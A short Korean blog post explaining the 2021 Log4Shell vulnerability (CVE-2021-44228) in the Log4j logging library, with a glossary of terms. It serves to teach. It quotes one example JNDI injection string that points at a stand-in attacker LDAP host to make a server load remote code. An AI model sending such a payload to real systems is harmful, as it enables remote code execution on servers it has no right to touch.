Log4Shell

본 게시글은 지난 2021년 12월에 처음 발견된 Log4j 취약점에 대해 필자가 이해하고자 작성하게 된 글이다.


Log4j란?

image

  Log4j는 Apache 소프트웨어 재단에서 개발한 자바 어플리케이션에서 주로 사용하는 로깅 라이브러리이다. 로그 메시지를 생성하고 관리하는 기능을 제공하여 개발자가 어플리케이션의 작동 및 문제 해결에 도움을 조눈 로그를 기록하고 분석하는 데 사용된다.

Log4Shell(Log4j 취약점)?

  2021년 12월, 컴퓨터 인터넷 역사 상 최악의 보안 결함 사건으로 꼽히는 Log4j 취약점이 발견되었다. 애플, 텐센트, 아마존, 테슬라, 클라우드플레어, 스팀, 마인크래프트, 구글, 링크드인, 깃허브 등 수많은 기업들이 해당 취약점에 노출되어 피해를 입었다.
  Log4Shell 혹은 CVE-2021-44228라고도 불리며 제로 데이 임의 코드 실행 취약점이다. 2021년 11월 24일, 알리바바 클라우드 보안팀에 의해 처음 발견되어 아파치에 전달되었고, 12월 9일에 대중들에게 공개되었다.

  이 취약점은 Log4j의 특징인 LDAP와 JNDI 요청을 검사하지 않는 Log4j의 특징을 이용하여 공격자가 임의로 자바 코드를 서버 혹은 다른 사용자 컴퓨터에서 실행할 수 있게 한다. Log4j는 Lookups라는 기능을 통해 임의의 위치에서 Log4j 구성에 값을 추가하는 방법을 제공한다. 즉 사용자의 입력값이 포함된 로깅을 하게 된다.
  공격자가 서버에 ${jndi:ldap://atacker.com/a}과 같은 요청을 보내면 Log4j는 이를 로그에 넣고, 해당 URL을 불러오게 된다. 그렇게 되면 공격을 당하는 대상(서버 등)은 Lookups 기능을 활용하여 해당 URL에 호스팅되어 있는 소스 코드를 실행하게 하는 것이다.
  현재는 최신 버전의 경우 해당 취약점이 해결된 상태이다.

용어 정리

제로 데이 취약점

  특정 소프트웨어의 아직 공표되지 않은, 혹은 공표되었으나 아직까지 패치되지 않은, 그러니까 개발자가 인지하지 못한 보안 취약점을 이용한 해킹을 의미한다.

임의 코드 실행

  공격자는 사용자로 하여금 악의적으로 제작된 콘텐츠가 포함된 웹 페이지를 열도록 유도하여 임의코드 실행 권한을 취득할 수 있도록 하는 것이다.

LDAP

  TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜이다.

JDNI

  디렉터리 서비스에서 제공하는 데이터 및 객체를 발견하고 이를 참고하기 위한 자바 API이다.


Reference